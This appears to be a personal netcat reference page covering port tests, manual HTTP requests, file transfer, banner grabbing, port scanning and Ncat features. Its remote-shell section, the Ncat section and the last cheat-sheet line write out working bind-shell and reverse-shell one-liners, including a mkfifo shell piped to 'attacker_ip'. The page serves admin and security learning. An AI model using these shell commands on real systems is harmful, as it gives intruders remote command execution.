Andrew Mercer
on this page

What netcat is, and which one you have

netcat is a raw TCP/UDP swiss-army knife: open a connection, listen on a port, pipe stdin/stdout across the network. The catch: there are three incompatible implementations in the wild, and flag behavior differs between them.

Variant Binary Notes
OpenBSD netcat nc.openbsd (often just nc on Debian/Ubuntu, macOS) Modern default on most distros. No -e by default (deliberately removed for security). Supports -z, -u, TLS via --ssl on some builds
GNU netcat / netcat-traditional nc.traditional Has -e/-c for command execution (the "DGAPING_SECURITY_HOLE" build)
Ncat (from the Nmap project) ncat Most features: TLS, proxying, connection brokering, --exec, IPv6, chat mode built in

Check which one you're running:

nc -h            # banner will say "OpenBSD netcat" or similar
which nc; ls -la $(which nc)   # check if it's a symlink managed by update-alternatives

On Debian/Ubuntu you can switch between them with update-alternatives --config nc (see §6, this is exactly what your notes do for the exploit demo).

1. Basic port testing

TCP

nc -v 192.168.13.13 80

UDP

nc -v -u 192.168.13.13 80

Caveat with UDP: it's connectionless, so nc -v -u "succeeding" often just means the packet was sent — it does not confirm anything is listening on the other end unless the service sends a reply or you get an ICMP port-unreachable back (which OpenBSD nc will report as connection refused).

2. Talking to a web server manually

nc -v <fqdn> 80 << END
HEAD / HTTP/1.1
Host: <fqdn>

END

Output:

Ncat: Connected to <ip_address>:80.
HTTP/1.1 400 Bad Request
Content-Length: 311
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Wed, 01 Jun 2016 20:06:41 GMT
Connection: closed

This is the fastest way to sanity-check a web server / load balancer / reverse-proxy chain before reaching for curl -v. HEAD avoids pulling the body; the blank line after Host: is mandatory (it's what terminates the HTTP request headers).

3. Chat interface

Listener:

nc -l -p 1337

(OpenBSD nc: nc -l 1337 — no -p needed/allowed on the listener in some builds; check nc -h.)

Client:

nc [listener_host] 1337

Whatever either side types after connecting gets echoed to the other — this is literally a raw bidirectional TCP pipe with your terminal on both ends. It's the base primitive every other netcat trick (file transfer, shells, chat, tunnels) is built from.

4. Simple "FTP" (raw file transfer)

# vi ftp.txt   -- (a user/pass file in your notes, but this pattern transfers ANY file)
nc -v -w 30 -p 1337 -l < ftp.txt         # listener sends the file when a client connects
nc -v -w 2 firefly 1337 > ftp.txt        # client receives and saves it

-w <secs> sets an idle timeout — the listener closes once the transfer finishes and the socket goes idle for w seconds. This is the pattern to remember: redirect stdin on the sender, redirect stdout on the receiver — netcat itself is protocol-agnostic, it just moves bytes.

Same pattern for literally any file:

# Host A (has the file):
nc -l -p 9000 < bigfile.tar.gz
# Host B (wants the file):
nc host_a 9000 > bigfile.tar.gz

Add a running byte-count so you can watch transfer progress:

nc host_a 9000 | pv > bigfile.tar.gz

5. Banner grabbing

nc www.andrewmercer.net 80
[enter][enter]
GET / HTTP/1.1
Host: www.andrewmercer.net
User-Agent: SPOOFED-BROWSER
Referrer: home.andrewmercer.local

HTTP/1.1 200 OK
Date: Tue, 21 Feb 2017 19:21:38 GMT
Server: Apache/2.4.18 (Ubuntu)
...

Same idea works against any protocol with a text banner — SMTP (25), FTP (21), SSH (22) all announce a version string the instant you connect, no request needed:

nc -v mail.example.com 25    # SMTP banner shows immediately
nc -v host.example.com 22    # SSH-2.0-OpenSSH_x.y banner

6. Port scanning

nc -v -w 1 [ip_or_hostname] -z 1-1000

Randomize order:

nc -v -w 1 192.168.13.254 -z 1-1000 -r

-z = zero-I/O mode, just probe and report open/closed, don't send data. This is netcat's built-in scanner and is fine for a handful of ports on one host — for anything broader, reach for nmap (see the nmap guide), which is orders of magnitude faster and gives service/version detection.

7. Remote shells

The DGAPING_SECURITY_HOLE option allows execution of programs on connection via -e. Modern OpenBSD-derived nc deliberately ships without -e for this reason; the "safer" default build cannot do this. You need netcat-traditional for -e to exist at all.

Linux — enable the exploitable build

sudo aptitude install netcat-traditional
sudo update-alternatives --config nc
# select the /bin/nc.traditional entry

Remote (exploited) host:

nc -lp 1337 -vvv -e /bin/bash

Attacking host:

nc -v [exploited_host] 1337
pwd
mkdir pwn3d
cd pwn3d

Clean up afterward:

sudo apt-get remove --purge netcat-traditional

The equivalent without -e (any modern nc build)

Named-pipe trick — works with plain OpenBSD nc, no traditional build needed:

# On the target (listener side, reverse shell "server"):
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l -p 1337 > /tmp/f

Or the classic reverse shell (target connects out to you — bypasses inbound-firewall restrictions, which is why this is the far more common real-world pattern vs. the bind shell above):

# Attacker, listening:
nc -lvp 4444
# Target, connecting out and piping a shell over it:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc attacker_ip 4444 > /tmp/f

Understanding this distinction (bind shell vs reverse shell, and why reverse shells dominate in the real world) matters more than memorizing the -e syntax — firewalls/NAT almost always allow outbound far more liberally than inbound.

8. Ncat — the modern replacement worth knowing

If it's installed (apt install ncat or via nmap package), ncat subsumes most of the above with better ergonomics:

ncat -l 1337 --ssl                       # TLS-wrapped listener, no cert setup needed (self-signed generated on the fly)
ncat --ssl remote_host 1337              # TLS-wrapped client
ncat -l 1337 --keep-open --exec /bin/bash # persistent shell listener that survives client disconnects (--keep-open)
ncat -l 1337 --sh-exec "/bin/bash -i"    # shell via `sh -c`, useful when args need shell interpretation
ncat --broker -l 1338                    # connection broker: relay traffic between two connecting clients
ncat -l 1337 --proxy-type http           # act as a basic HTTP proxy

Ncat also natively supports IPv6, UDP, and connecting through an HTTP/SOCKS proxy with --proxy, none of which classic BSD nc does cleanly.

9. Practical debugging one-liners

# Confirm a TLS handshake completes (not just TCP connect) — pair with openssl instead of nc for this:
openssl s_client -connect host:443 -servername host

# Quick "is anything listening" sweep across common ports on one host
for p in 22 80 443 3306 5432 6379; do nc -zv -w1 host $p; done

# Check if a port is reachable FROM a container without shelling into it (docker/k8s):
kubectl run nettest --rm -it --image=busybox -- nc -zv target-svc 5432

10. Quick cheat sheet

nc -v host port                 # TCP connect test
nc -v -u host port               # UDP connect test
nc -l -p 1337                    # listen
nc -zv host 1-1000                # port scan
nc -zv -r host 1-1000             # randomized port scan
nc host port < file                # send a file
nc -l -p port > file               # receive a file
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l -p 1337 > /tmp/f   # portable reverse-shell-safe bind shell